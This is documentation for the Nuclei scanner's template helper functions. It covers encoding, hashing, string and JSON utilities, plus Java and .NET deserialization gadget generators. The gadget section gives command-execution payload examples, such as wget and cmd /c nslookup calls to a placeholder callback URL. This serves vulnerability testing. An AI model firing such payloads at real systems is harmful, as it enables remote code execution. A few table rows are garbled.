> ## Documentation Index > Fetch the complete documentation index at: https://docs.projectdiscovery.io/llms.txt > Use this file to discover all available pages before exploring further. # Helper Functions > Review details on helper functions for Nuclei Here is the list of all supported helper functions can be used in the RAW requests / Network requests. | Helper function | Description | Example | Output | | ------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | aes\_gcm(key, plaintext interface{}) \[]byte | AES GCM encrypts a string with key | `{{hex_encode(aes_gcm("AES256Key-32Characters1234567890", "exampleplaintext"))}}` | `ec183a153b8e8ae7925beed74728534b57a60920c0b009eaa7608a34e06325804c096d7eebccddea3e5ed6c4` | | base64(src interface{}) string | Base64 encodes a string | `base64("Hello")` | `SGVsbG8=` | | base64\_decode(src interface{}) \[]byte | Base64 decodes a string | `base64_decode("SGVsbG8=")` | `Hello` | | base64\_py(src interface{}) string | Encodes string to base64 like python (with new lines) | `base64_py("Hello")` | `SGVsbG8=\n` | | bin\_to\_dec(binaryNumber number \| string) float64 | Transforms the input binary number into a decimal format | `bin_to_dec("0b1010")`
`bin_to_dec(1010)` | `10` | | compare\_versions(versionToCheck string, constraints ...string) bool | Compares the first version argument with the provided constraints | `compare_versions('v1.0.0', '\>v0.0.1', '\`date_time("%Y-%M-%D %H:%m", 1654870680)`
`date_time("2006-01-02 15:04", unix_time())` | `2022-06-10 14:18` | | dec\_to\_hex(number number \| string) string | Transforms the input number into hexadecimal format | `dec_to_hex(7001)"` | `1b59` | | ends\_with(str string, suffix ...string) bool | Checks if the string ends with any of the provided substrings | `ends_with("Hello", "lo")` | `true` | | equals\_any(s interface{}, subs ...interface{}) bool | Verifies if an input equals any of the given items | `equals_any(status_code, 200, 201)` | `true` | | generate\_java\_gadget(gadget, cmd, encoding interface{}) string | Generates a Java Deserialization Gadget | `generate_java_gadget("dns", "{{interactsh-url}}", "base64")` | `rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAAHQAAHEAfgAFdAAFcHh0ACpjYWhnMmZiaW41NjRvMGJ0MHRzMDhycDdlZXBwYjkxNDUub2FzdC5mdW54` | | generate\_dotnet\_gadget(gadget, cmd, formatter, encoding string) string | Generates a .NET Deserialization Gadget with specified formatter and encoding | `generate_dotnet_gadget("type-confuse-delegate", "calc", "binary", "base64-raw")` | `AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGA...` | | generate\_jwt(json, algorithm, signature, unixMaxAge) \[]byte | Generates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithm | `generate_jwt("{\"name\":\"John Doe\",\"foo\":\"bar\"}", "HS256", "hello-world")` | `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmb28iOiJiYXIiLCJuYW1lIjoiSm9obiBEb2UifQ.EsrL8lIcYJR_Ns-JuhF3VCllCP7xwbpMCCfHin_WT6U` | | gzip(input string) string | Compresses the input using GZip | `base64(gzip("Hello"))` | `+H4sIAAAAAAAA//JIzcnJBwQAAP//gonR9wUAAAA=` | | gzip\_decode(input string) string | Decompresses the input using GZip | `gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))` | `Hello` | | hex\_decode(input interface{}) \[]byte | Hex decodes the given input | `hex_decode("6161")` | `aa` | | hex\_encode(input interface{}) string | Hex encodes the given input | `hex_encode("aa")` | `6161` | | hex\_to\_dec(hexNumber number \| string) float64 | Transforms the input hexadecimal number into decimal format | `hex_to_dec("ff")`
`hex_to_dec("0xff")` | `255` | | hmac(algorithm, data, secret) string | hmac function that accepts a hashing function type with data and secret | `hmac("sha1", "test", "scrt")` | `8856b111056d946d5c6c92a21b43c233596623c6` | | html\_escape(input interface{}) string | HTML escapes the given input | `html_escape("\test\")` | `<body>test</body>` | | html\_unescape(input interface{}) string | HTML un-escapes the given input | `html_unescape("<body>test</body>")` | `\test\` | | join(separator string, elements ...interface{}) string | Joins the given elements using the specified separator | `join("_", 123, "hello", "world")` | `123_hello_world` | | json\_minify(json) string | Minifies a JSON string by removing unnecessary whitespace | `json_minify("{ \"name\": \"John Doe\", \"foo\": \"bar\" }")` | `{"foo":"bar","name":"John Doe"}` | | json\_prettify(json) string | Prettifies a JSON string by adding indentation | `json_prettify("{\"foo\":\"bar\",\"name\":\"John Doe\"}")` | `{\n \"foo\": \"bar\",\n \"name\": \"John Doe\"\n}` | | len(arg interface{}) int | Returns the length of the input | `len("Hello")` | `5` | | line\_ends\_with(str string, suffix ...string) bool | Checks if any line of the string ends with any of the provided substrings | `line_ends_with("Hello\nHi", "lo")` | `true` | | line\_starts\_with(str string, prefix ...string) bool | Checks if any line of the string starts with any of the provided substrings | `line_starts_with("Hi\nHello", "He")` | `true` | | md5(input interface{}) string | Calculates the MD5 (Message Digest) hash of the input | `md5("Hello")` | `8b1a9953c4611296a827abf8c47804d7` | | mmh3(input interface{}) string | Calculates the MMH3 (MurmurHash3) hash of an input | `mmh3("Hello")` | `316307400` | | oct\_to\_dec(octalNumber number \| string) float64 | Transforms the input octal number into a decimal format | `oct_to_dec("0o1234567")`
`oct_to_dec(1234567)` | `342391` | | print\_debug(args ...interface{}) | Prints the value of a given input or expression. Used for debugging. | `print_debug(1+2, "Hello")` | `3 Hello` | | rand\_base(length uint, optionalCharSet string) string | Generates a random sequence of given length string from an optional charset (defaults to letters and numbers) | `rand_base(5, "abc")` | `caccb` | | rand\_char(optionalCharSet string) string | Generates a random character from an optional character set (defaults to letters and numbers) | `rand_char("abc")` | `a` | | rand\_int(optionalMin, optionalMax uint) int | Generates a random integer between the given optional limits (defaults to 0 - MaxInt32) | `rand_int(1, 10)` | `6` | | rand\_text\_alpha(length uint, optionalBadChars string) string | Generates a random string of letters, of given length, excluding the optional cutset characters | `rand_text_alpha(10, "abc")` | `WKozhjJWlJ` | | rand\_text\_alphanumeric(length uint, optionalBadChars string) string | Generates a random alphanumeric string, of given length without the optional cutset characters | `rand_text_alphanumeric(10, "ab12")` | `NthI0IiY8r` | | rand\_ip(cidr ...string) string | Generates a random IP address | `rand_ip("192.168.0.0/24")` | `192.168.0.171` | | rand\_text\_numeric(length uint, optionalBadNumbers string) string | Generates a random numeric string of given length without the optional set of undesired numbers | `rand_text_numeric(10, 123)` | `0654087985` | | regex(pattern, input string) bool | Tests the given regular expression against the input string | `regex("H([a-z]+)o", "Hello")` | `true` | | regex\_any(pattern string, inputs ...string) bool | Verifies if any of the inputs match the given regular expression | `regex_any("H([a-z]+)o", "World", "Hello")` | `true` | | regex\_all(pattern string, inputs ...string) bool | Verifies if all of the inputs match the given regular expression | `regex_all("H([a-z]+)o", "Hallo", "Hello")` | `true` | | remove\_bad\_chars(input, cutset interface{}) string | Removes the desired characters from the input | `remove_bad_chars("abcd", "bc")` | `ad` | | repeat(str string, count uint) string | Repeats the input string the given amount of times | `repeat("../", 5)` | `../../../../../` | | replace(str, old, new string) string | Replaces a given substring in the given input | `replace("Hello", "He", "Ha")` | `Hallo` | | replace\_regex(source, regex, replacement string) string | Replaces substrings matching the given regular expression in the input | `replace_regex("He123llo", "(\\d+)", "")` | `Hello` | | reverse(input string) string | Reverses the given input | `reverse("abc")` | `cba` | | sha1(input interface{}) string | Calculates the SHA1 (Secure Hash 1) hash of the input | `sha1("Hello")` | `f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0` | | sha256(input interface{}) string | Calculates the SHA256 (Secure Hash 256) hash of the input | `sha256("Hello")` | `185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969` | | starts\_with(str string, prefix ...string) bool | Checks if the string starts with any of the provided substrings | `starts_with("Hello", "He")` | `true` | | to\_lower(input string) string | Transforms the input into lowercase characters | `to_lower("HELLO")` | `hello` | | to\_unix\_time(input string, layout string) int | Parses a string date time using default or user given layouts, then returns its Unix timestamp | `to_unix_time("2022-01-13T16:30:10+00:00")`
`to_unix_time("2022-01-13 16:30:10")`
`to_unix_time("13-01-2022 16:30:10", "02-01-2006 15:04:05")` | `1642091410` | | to\_upper(input string) string | Transforms the input into uppercase characters | `to_upper("hello")` | `HELLO` | | trim(input, cutset string) string | Returns a slice of the input with all leading and trailing Unicode code points contained in cutset removed | `trim("aaaHelloddd", "ad")` | `Hello` | | trim\_left(input, cutset string) string | Returns a slice of the input with all leading Unicode code points contained in cutset removed | `trim_left("aaaHelloddd", "ad")` | `Helloddd` | | trim\_prefix(input, prefix string) string | Returns the input without the provided leading prefix string | `trim_prefix("aaHelloaa", "aa")` | `Helloaa` | | trim\_right(input, cutset string) string | Returns a string, with all trailing Unicode code points contained in cutset removed | `trim_right("aaaHelloddd", "ad")` | `aaaHello` | | trim\_space(input string) string | Returns a string, with all leading and trailing white space removed, as defined by Unicode | `trim_space(" Hello ")` | `"Hello"` | | trim\_suffix(input, suffix string) string | Returns input without the provided trailing suffix string | `trim_suffix("aaHelloaa", "aa")` | `aaHello` | | unix\_time(optionalSeconds uint) float64 | Returns the current Unix time (number of seconds elapsed since January 1, 1970 UTC) with the added optional seconds | `unix_time(10)` | `1639568278` | | url\_decode(input string) string | URL decodes the input string | `url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")` | `https://projectdiscovery.io?test=1` | | url\_encode(input string) string | URL encodes the input string | `url_encode("https://projectdiscovery.io/test?a=1")` | `https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1` | | wait\_for(seconds uint) | Pauses the execution for the given amount of seconds | `wait_for(10)` | `true` | | zlib(input string) string | Compresses the input using Zlib | `base64(zlib("Hello"))` | `eJzySM3JyQcEAAD//wWMAfU=` | | zlib\_decode(input string) string | Decompresses the input using Zlib | `zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))` | `Hello` | | resolve(host string, format string) string | Resolves a host using a dns type that you define | `resolve("localhost",4)` | `127.0.0.1` | | ip\_format(ip string, format string) string | It takes an input ip and converts it to another format according to this [legend](https://github.com/projectdiscovery/mapcidr/wiki/IP-Format-Index), the second parameter indicates the conversion index and must be between 1 and 11 | `ip_format("127.0.0.1", 3)` | `0177.0.0.01` | ## Deserialization helper functions Nuclei allows payload generation for a few common gadget from [ysoserial](https://github.com/frohoff/ysoserial). **Supported Payload:** * `dns` (URLDNS) * `commons-collections3.1` * `commons-collections4.0` * `jdk7u21` * `jdk8u20` * `groovy1` **Supported encodings:** * `base64` (default) * `gzip-base64` * `gzip` * `hex` * `raw` **Deserialization helper function format:** ```yaml theme={null} { { generate_java_gadget(payload, cmd, encoding } } ``` **Deserialization helper function example:** ```yaml theme={null} {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}} ``` ### .NET Deserialization Nuclei provides the `generate_dotnet_gadget` function to generate .NET deserialization exploit payloads with various gadget chains, formatters, and encodings. **Function format:** ```yaml theme={null} {{generate_dotnet_gadget(gadget, cmd, formatter, encoding)}} ``` **Parameters:** * `gadget` - The gadget chain to use * `cmd` - Command, URL, or data (depends on gadget type) * `formatter` - Serialization formatter (optional, defaults to BinaryFormatter) * `encoding` - Output encoding format (optional, defaults to URL-safe base64) **Supported Gadgets:** Command-based gadgets (execute system commands): * `windows-identity` - WindowsIdentity gadget * `claims-principal` - ClaimsPrincipal gadget * `dataset` - DataSet gadget * `dataset-type-spoof` - DataSet with type spoofing * `object-data-provider` - ObjectDataProvider gadget * `text-formatting-runproperties` - TextFormattingRunProperties gadget * `type-confuse-delegate` - TypeConfuseDelegate gadget URL-based gadgets (make HTTP requests): * `object-ref` - Remote object reference * `veeam-crypto-keyinfo` - Veeam CryptoKeyInfo gadget XML-based gadgets: * `dataset-xmldiffgram` - DataSet XML DiffGram DLL-based gadgets: * `axhost-state-dll` - AxHostState DLL loading * `dll-reflection` - DLL reflection loading ViewState gadget: * `viewstate` - ASP.NET ViewState (format: `"payloadData:machineKey:generator"`) **Supported Formatters:** * `binary` or `binaryformatter` - BinaryFormatter (default) * `soap` or `soapformatter` - SOAPFormatter * `soapwithexceptions` or `soap-exceptions` - SOAPFormatter with exceptions * `los` or `losformatter` - LOSFormatter * Empty string - defaults to BinaryFormatter **Supported Encodings:** * `raw` - Raw binary string * `hex` - Hexadecimal encoding * `gzip` - Gzip compressed * `gzip-base64` - Gzip + URL-safe base64 * `base64-raw` - Standard base64 * Empty string - URL-safe base64 (default) **.NET Deserialization examples:** ```yaml theme={null} # Windows command execution with BinaryFormatter {{generate_dotnet_gadget("windows-identity", "calc", "binary", "base64-raw")}} # Remote payload fetch with SOAPFormatter {{generate_dotnet_gadget("object-ref", "http://{{interactsh-url}}", "soap", "hex")}} # TypeConfuseDelegate with custom command {{generate_dotnet_gadget("type-confuse-delegate", "cmd /c nslookup {{interactsh-url}}", "binary", "base64-raw")}} # ViewState gadget {{generate_dotnet_gadget("viewstate", "{{base64(payload)}}:machineKey:generator", "", "base64-raw")}} ``` ## JSON helper functions Nuclei allows manipulate JSON strings in different ways, here is a list of its functions: * `generate_jwt`, to generates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithm. * `json_minify`, to minifies a JSON string by removing unnecessary whitespace. * `json_prettify`, to prettifies a JSON string by adding indentation. **Examples** **`generate_jwt`** To generate a JSON Web Token (JWT), you have to supply the JSON that you want to sign, *at least*. Here is a list of supported algorithms for generating JWTs with `generate_jwt` function *(case-insensitive)*: * `HS256` * `HS384` * `HS512` * `RS256` * `RS384` * `RS512` * `PS256` * `PS384` * `PS512` * `ES256` * `ES384` * `ES512` * `EdDSA` * `NONE` Empty string ("") also means `NONE`. Format: ```yaml theme={null} { { generate_jwt(json, algorithm, signature, maxAgeUnix) } } ``` > Arguments other than `json` are optional. Example: ```yaml theme={null} variables: json: | # required { "foo": "bar", "name": "John Doe" } alg: "HS256" # optional sig: "this_is_secret" # optional age: '{{to_unix_time("2032-12-30T16:30:10+00:00")}}' # optional jwt: '{{generate_jwt(json, "{{alg}}", "{{sig}}", "{{age}}")}}' ``` > The `maxAgeUnix` argument is to set the expiration `"exp"` JWT standard claim, as well as the `"iat"` claim when you call the function. **`json_minify`** Format: ```yaml theme={null} { { json_minify(json) } } ``` Example: ```yaml theme={null} variables: json: | { "foo": "bar", "name": "John Doe" } minify: "{{json_minify(json)}}" ``` `minify` variable output: ```json theme={null} { "foo": "bar", "name": "John Doe" } ``` **`json_prettify`** Format: ```yaml theme={null} { { json_prettify(json) } } ``` Example: ```yaml theme={null} variables: json: '{"foo":"bar","name":"John Doe"}' pretty: "{{json_prettify(json)}}" ``` `pretty` variable output: ```json theme={null} { "foo": "bar", "name": "John Doe" } ``` **`resolve`** Format: ```yaml theme={null} { { resolve(host, format) } } ``` Here is a list of formats available for dns type: * `4` or `a` * `6` or `aaaa` * `cname` * `ns` * `txt` * `srv` * `ptr` * `mx` * `soa` * `caa` ## Examples For more examples, see the [helper function examples](/templates/reference/helper-functions-examples)